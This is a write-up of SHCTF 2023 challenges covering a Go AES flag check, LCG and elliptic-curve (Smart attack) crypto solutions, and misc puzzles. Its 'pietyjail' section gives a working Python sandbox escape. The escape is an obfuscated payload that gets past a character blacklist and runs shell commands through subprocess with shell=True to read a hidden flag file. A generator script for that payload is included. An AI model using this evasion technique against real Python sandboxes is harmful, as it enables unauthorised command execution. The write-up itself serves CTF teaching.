        fmt.Scanln(&flag)
        key := []byte("SHCTF_2023_S0_e4sy_m1ao")
        data, _ := imReallyIsAESencrypt([]byte(flag), key)
        if f1ag == base64.StdEncoding.EncodeToString(data) {
                typeWriter("flag正确喵")
        } else {
                typeWriter("flag错误喵\n又到了每周撅群主得flag的时候了喵")
        }
}
func typeWriter(text string) {
        for _, r := range text {
                fmt.Printf("%c", r)
                time.Sleep(time.Millisecond * 150)
        }
}

func Padding(plaintext []byte, blockSize int) []byte {
        padding := blockSize - len(plaintext)%blockSize
        paddingText := bytes.Repeat([]byte{byte(padding)}, padding)
        return append(plaintext, paddingText...)
}

func imReallyIsAESencrypt(origData, key []byte) ([]byte, error) {
        block, err := aes.NewCipher(key[len(key)-aes.BlockSize:])
        if err != nil {
                return nil, err
        }
        blockSize := block.BlockSize()
        origData = Padding(origData, blockSize)
        blockMode := cipher.NewCBCEncrypter(block, key[:blockSize])
        encrypted := make([]byte, len(origData))
        blockMode.CryptBlocks(encrypted, origData)
        return encrypted, nil
}

crypto

[WEEK1]what is m

这串神秘的数字怎么恢复成flag

1
2
3
4
5
6
7
from Crypto.Util.number import bytes_to_long
from secret import flag

m = bytes_to_long(flag)
print("m =",m)

# m = 7130439814057451234696247122305048644202598144746601748665076344000520993838994849981649677551078703340949187618841443937432281814692809718805154174269031800605279019483413655729833242740605

关于bytes_to_long函数,可以理解为

把bytes类型的数据,每字节转成两位16进制数

然后把整个16进制数组作为整体,转成数字

那么反过来也一样

1
2
3
4
5
6
7
8
from Crypto.Util.number import long_to_bytes
import libnum

m = 7130439814057451234696247122305048644202598144746601748665076344000520993838994849981649677551078703340949187618841443937432281814692809718805154174269031800605279019483413655729833242740605

print(long_to_bytes(m))
print(libnum.n2s(m))
print(bytes.fromhex(hex(m)[2:]))

这三个方式是等效的

[WEEK2]哈希猫

我翻开 task.py 一查,这题目没有 flag 歪歪斜斜的每页上都写着 ‘哈希算法’ 几个字.我横竖睡不着,仔细看了半夜,才从字缝里看出字来,满本都写着 ‘flag’ !

这题是动态附件,有3000份flag不一样的附件,用于抓包哪些和别人py flag的

每个附件的每行的分段以及函数都是随机的

增加了写一个 把每个人附件都能解出来的脚本的代价

不过为了减少计算的工作量,只有md5和sha1是需要爆破3位的

其他的hash算法都是两位长度

给出我的一把梭脚本,不过可能不够优雅,没空优化了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import hashlib
import itertools
import string
import tqdm


hashs = """# d4dba6e5ced10525239fe1d15300b470be594cfeca9eced98bb36887516044a4a2e92b41968139689a4491002c3daaab7bd317adb26c568a90174295e6452ead
# 09ef651aaecdc89ad0a7be2ffc3cafcc
# aa1e3c55ba668a5302b701bc512a0a763e118e5007250c4a3611635415b0a6ca
# aa650bd117140cc15a913f29c3d1a6bb1274339e04c2ff4b7e0d6f41
# c15e158aea01c3545ecd19f1850bd8471f28c07f
# ff5a1ae012afa5d4c889c50ad427aaf545d31a4fac04ffc1c4d03d403ba4250a
# e0cbd66d037c8eed49b363c83c8cc150
# d94061acc94d0a384514997bf06e0406b3fdd0a9a8bcea31ad3c562f1d97c6aa4aa22c8e22444d3c6843d0452196636120e7e5ceade81db9ff1e7b01860b40d7
# 95a643e631efd3bb1ca6447862751ce2d28d6eaf06c93eda1467de18d8421f1d140b49d989790c04ac2a9d54557ad4d5505de1104288cf9f2c91954e2edf92a5
# dc0560dc9735239b507249b22fb4929fed016c2bb4b226c1bf8773ae5c194f21d3470e79ea09b8b98bf3a49d8c5d3a11
# f307e749718564134003aac7cb609088c2dd38cdea02a18126646f5c13d77faddacb57cb210ccecca23dfcc5392293d883c523b690a697e931c8334837fe0a67
# fdf8b06f67b877a90d2734497a1b3406c8287c0b626b0dcee1959c94
# 811786ad1ae74adfdd20dd0372abaaebc6246e343aebd01da0bfc4c02bf0106c
# f9d04b2b812e7781efb54104bf7e33ca5df887df
# a4e32fe4402666f187ba946fcc166ecbcb5c16bddf1ff05806af75fc36678244
# 6c6df310b616015805c96e70363372b8817e3a64efa0b383fb4b09571f9d7582053ed100543d8591eac04a5d784244f9
# 456d0ef673c9975197784ab352c2d9a9801185cdec3b1c449482b13d4b5bc9220735b37747fee9feaebbc5d1c3286fd0
# 912fa287fa4f33484f8be9733a7498395a0437a4f222cb8ecb105c1762270700e02c675ba5b64c6c13dff5604eedf38ce3a12dfa32c74318464b789109c602e3
# cdbd07fb9759db569cc30c7c1672880170b54099
""".replace('# ','').split()

def hashDigest(hash_algo, string):
  hash_func = hash_map.get(hash_algo)
  if hash_func:
    return hash_func(string.encode()).hexdigest()
  else:
    raise ValueError('Invalid hash algorithm') 
hash_map = {
    'md5':   hashlib.md5,
    'sha1': hashlib.sha1,
  'sha224': hashlib.sha224,
  'sha256': hashlib.sha256,
  'sha384': hashlib.sha384,
  'sha512': hashlib.sha512,
}
flag = ""

for hash in tqdm.tqdm(hashs):
    solved = 0
    for x in itertools.product(string.printable, repeat=2):
        for type in list(hash_map.keys()):
            if hashDigest(type, "".join(x)) == hash:
                flag += "".join(x)
                solved = 1
                break
        if solved == 1:
            break
    if solved == 1:
        continue
    for x in itertools.product(string.printable, repeat=3):
        for type in list(hash_map.keys()):
            if hashDigest(type, "".join(x)) == hash:
                flag += "".join(x)
                solved = 1
                break
        if solved == 1:
            break
    if solved == 1:
        continue
    for x in itertools.product(string.printable, repeat=1):
        for type in list(hash_map.keys()):
            if hashDigest(type, "".join(x)) == hash:
                flag += "".join(x)
                solved = 1
                break
        if solved == 1:
            break
print(flag)
print(f"flag{{{flag}}}")

[WEEK3]ECC

先LCG恢复A,B,p $$ A = ((S_n-S_{n-1})\div(S_{n-1}-S_{n-2}))\ mod\ N\ B = (S_n - A \times S_{n-1})\ mod \ N $$ 先求A,B

然后 $$ S_{n-3} = ((S_{n-2}-B) \div A)\ mod \ N $$

反推rounds-3轮就可以得到p

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
N = 1592666040773288237864960405116272477285413902052528659895355898525096633482218848317798659 
hint = [1394593694312257895786772657718236632208180081954584278582726499587495471046605157854010244, 957352598346966110459998186901601582694524293959852393538910343072839464237771546151573955, 693812013080850001623907916411861671437064059415845429735416503191943824861563095835885411]
rounds = 483

MMI = lambda A, n,s=1,t=0,N=0: (n < 2 and t%N or MMI(n, A%n, t, s-A//n*t, N or n),-1)[n<1] #逆元计算
A=(hint[2]-hint[1])* MMI((hint[1]-hint[0]),N) % N
ani=MMI(A,N)
B=(hint[1]-A*hint[0])%N
seed = (ani*(hint[0]-B))%N
for i in range(rounds-3):
    seed = (ani*(seed-B))%N
p = seed
print(p,A,B)

拿到p,发现 E.order()==p

椭圆曲线的阶和p相等

Smart Attack

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# sage
from Crypto.Util.number import long_to_bytes

N = 1592666040773288237864960405116272477285413902052528659895355898525096633482218848317798659 
hint = [1394593694312257895786772657718236632208180081954584278582726499587495471046605157854010244, 957352598346966110459998186901601582694524293959852393538910343072839464237771546151573955, 693812013080850001623907916411861671437064059415845429735416503191943824861563095835885411]
rounds = 483


MMI = lambda A, n,s=1,t=0,N=0: (n < 2 and t%N or MMI(n, A%n, t, s-A//n*t, N or n),-1)[n<1] #逆元计算
A=(hint[2]-hint[1])* MMI((hint[1]-hint[0]),N) % N
ani=MMI(A,N)
B=(hint[1]-A*hint[0])%N
seed = (ani*(hint[0]-B))%N
for i in range(rounds-3):
    seed = (ani*(seed-B))%N
p = seed
print(p,A,B)


E = EllipticCurve(GF(p),[A,B])
P = E(22848890707179000954203658007030229334930230033288546935111873538205494755744  , 15625318813860427793184320591571256965351190504127303241852375250972299079519 )
Q = E(47068429748309827354877617860222778745533747650312830303181668257713524033902 , 54803159468735797341287321575486297217260035098908326234825325428617201791330 )
def SmartAttack(P,Q,p):
    E = P.curve()
    Eqp = EllipticCurve(Qp(p, 2), [ ZZ(t) + randint(0,p)*p for t in E.a_invariants() ])

    P_Qps = Eqp.lift_x(ZZ(P.xy()[0]), all=True)
    for P_Qp in P_Qps:
        if GF(p)(P_Qp.xy()[1]) == P.xy()[1]:
            break

    Q_Qps = Eqp.lift_x(ZZ(Q.xy()[0]), all=True)
    for Q_Qp in Q_Qps:
        if GF(p)(Q_Qp.xy()[1]) == Q.xy()[1]:
            break

    p_times_P = p*P_Qp
    p_times_Q = p*Q_Qp

    x_P,y_P = p_times_P.xy()
    x_Q,y_Q = p_times_Q.xy()

    phi_P = -(x_P/y_P)
    phi_Q = -(x_Q/y_Q)
    k = phi_Q/phi_P
    return ZZ(k)

r = SmartAttack(P, Q, p)
print(r)

print(long_to_bytes(int(r)))
# b'flag{7h4t5_E4SY3sT_ecc_E4s5G8}'

misc

[WEEK2]远在天边近在眼前

运行容器得到一个很多层文件夹的压缩包

这题的flag确实就是倒序的文件夹名称,但是flag里面有?

不过如果你用Windows解压的话,由于Windows的文件名不能有?

会导致?被替换成下划线

不过可以用Linux的unzip命令

image-20231031013649230

或者直接在压缩包里面读

image-20231031013802232

或者strings命令

或者010editor,或者记事本

这题的方法太多了(

这里给一个最省事的方法

用脚本读:

1
print(__import__('zipfile').ZipFile('find_me.zip', 'r') .infolist()[-1].filename.replace('/', '')[::-1])

[WEEK3]尓纬玛

15解

恏渏怪哋②惟犸,芣確萣,侢看看,還湜恏渏怪

hint:no steganography

这个题,参考了2022菜狗杯迅疾响应

其实就是考了纠错块的数据

直接扫码发现是扫不出来的

用QRazyBox的Extract QR Information功能

可以得到这些

1
Do you want flag? You don't,I want.So I just can give you a half of flag. Y0ur flag is flag{QRc0de_h4s_many_kindS_of_secrets

来细讲下原理

我在出题的时候,生成了两个二维码,把只有半个flag的二维码的纠错区覆盖到数据块有完整flag的二维码上了

qrazybox的Extract QR Information 功能优先读纠错区

所以会导致只能读到半个flag,是纠错码中的数据

如果涂掉这些错误数据,再次解压数据会从剩下的纠错区以及数据块读取数据

也就是读到完整的flag

把左侧纠错码区域涂白

image-20231031174453093

再次Extract QR Information

1
Do you want flag? You don't,I want.So I just can give you a half of flag. Y0ur flag is flag{QRc0de_h4s_many_kindS_of_secrets_N0W_Y0u_KNow_I_BddBBl}
1
flag{QRc0de_h4s_many_kindS_of_secrets_N0W_Y0u_KNow_I_BddBBl}

(希望我讲完原理,不会出现一堆同类题)

[WEEK3]pietyjail

1解(真的有这么难吗?

hint:

You need to upload the file in ppm format

本题使用web环境,无法像寻常pyjail构造交互式命令执行

请仔细阅读题目源码,有一个blacklist其实没多少作用

ppm是一种图像格式,不只是后缀名 本题所用的npiet解释器 源码

都提示的这么仔细了

其实就是两个考点:无法构造交互环境的pyjail 和 如何画piet

先强调一个东西,piet是一门esolang:深奥的编程语言(esoteric programming language)

这里用的npiet是piet的一个解释器 https://www.bertnase.de/npiet/

npiet is an interpreter for piet programs and takes as input a portable pixmap (a ppm file) and since v0.3a png and gif files too - other formats may follow.

然后再来看pyjail

pyjail

1
blocked = list(filter(lambda x: x  in string.digits+"+-*/\\\'\"-&^%$#@! ", output))

过滤了数字和大部分符号,以及空格

' "两种引号都过滤了,但是还有 =[]()

image-20231031175629590

实际上在百度一搜就能看到这篇帖子

https://xz.aliyun.com/t/12647

使用

1
2
3
0 -> len([])
2 -> len(list(dict(aa=()))[len([])])
3 -> len(list(dict(aaa=()))[len([])])

这个方式构造数字

然后用bytes函数构造字符串,就不用 +

1
bytes([115, 121, 115, 116, 101, 109]).decode()

然后再就是os.system()无回显的问题了

这里用了subprocess的Popen,再把stdout从PIPE输出出来

就可以用return方法回显了

例如

1
__import__('subprocess').Popen(["ls",'/'],stdout=__import__('subprocess').PIPE).communicate()[0]

如果你用read之类的方式读过flag的话,会发现里面是

1
flag is not in /flag :)

所以命令执行才是最好的选择

附一份flag.sh

1
2
3
4
5
6
7
8
#!/bin/bash

echo "flag is not in /flag :)" > /flag
echo $GZCTF_FLAG > /fl11ll1laaaggg9g
export GZCTF_FLAG=not_flag
GZCTF_FLAG=not_flag

rm -f /flag.sh

exp

1
__import__(bytes([len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])])]).decode()).run([bytes([len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])])]).decode()],shell=True,stdout=__import__(bytes([len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])])]).decode()).PIPE).stdout

然后再来看另一个问题,piet的图怎么搞

piet

我这里用的是这个项目

https://github.com/sebbeobe/piet_message_generator

不过他只能生成png,而且要python2环境

但npiet只能接受ppm格式的图片

本来是用一个能接受png格式的文件的python实现的解释器来着

但是那个运行的效率太慢了

为了方便选手看回显,我就用npiet的源码重新编译了一个elf的npiet

没想到反而ppm格式成为解题障碍了

我这里用的是pngtopnm ,把png转换成ppm

1
2
3
apt-get install netpbm
#安装pngtopnm
pngtopnm piet_code_file.png > exp.ppm

gen_exp.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
def gen_str(x:str):
    out = []
    for i in x:
        tmp = ord(i)*"a"
        out.append(f"len(list(dict({tmp}=()))[len([])])")
    # print(out)
    return "bytes([" + ",".join(out) + "]).decode()"

cmd = f"[{gen_str('cat /fl11ll1laaaggg9g')}]"
# print(cmd)
exp = f"__import__(bytes([len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])])]).decode()).run({cmd},shell=True,stdout=__import__(bytes([len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])])]).decode()).PIPE).stdout"
print(exp)


x =  __import__('subprocess').Popen(["python2",'piet_gen.py',exp],stdout=__import__('subprocess').PIPE).communicate()[0]
__import__('subprocess').run(['pngtopnm piet_code_file.png > exp.ppm'],shell=True,stdout=__import__('subprocess').PIPE).stdout

(需要Linux python2)

[WEEK3]strange data

hint:

android data

adb shell getevent

https://www.kernel.org/doc/html/v4.14/input/event-codes.html

出题人的话:

这题其实是用的小米平板5Pro 抓包的小米灵感触控笔

还是那句话,搜

image-20231031182322154

拿android 和 数据的第一行

就能搜出来是 /dev/input/event的数据

关于分析,可以看天权信安的这篇关于catPaw的题目wp,由于时间关系就不细写了,我出的题太多了(19道),wp写不完了

https://mp.weixin.qq.com/s/7qKOvSaKdO9M6xgfTwJssA

如果不急的话可以等过年那段时间,我再详细写(

event code的话参考

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/uapi/linux/input-event-codes.h

大体上的逻辑就是

1
2
0003 0000 xxx 为x轴方向绝对坐标
0003 0001 xxx 为y轴方向绝对坐标

大部分情况这两个都会成对出现

不过如果只有单个存在的话,说明另一个值没有发生改变,取上次出现的值即可

不过这点实测影响不大

直接画,不区分笔是否落下

image-20231031195911316

就会得到一张如此抽象的图

我故意在真flag上涂抹了很多

所以重要的是分析抬笔落笔的数据

1
2
0003 0019 00000000 为落笔
0003 0019 00000001 为抬笔

exp.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
XY = []
path = open('data','r').readlines()
x_tmp = 0
y_tmp = 0

BTN_TOUCH = True
BTN_TOUCH = False
for index,i in enumerate(path[:-1]):
    
    if i.split()[0] == '0003' and i.split()[1] == '0019'and i.split()[2] == '00000000': 
        BTN_TOUCH = True
    if i.split()[0] == '0003' and i.split()[1] == '0019'and i.split()[2] == '00000001': 
        BTN_TOUCH = False

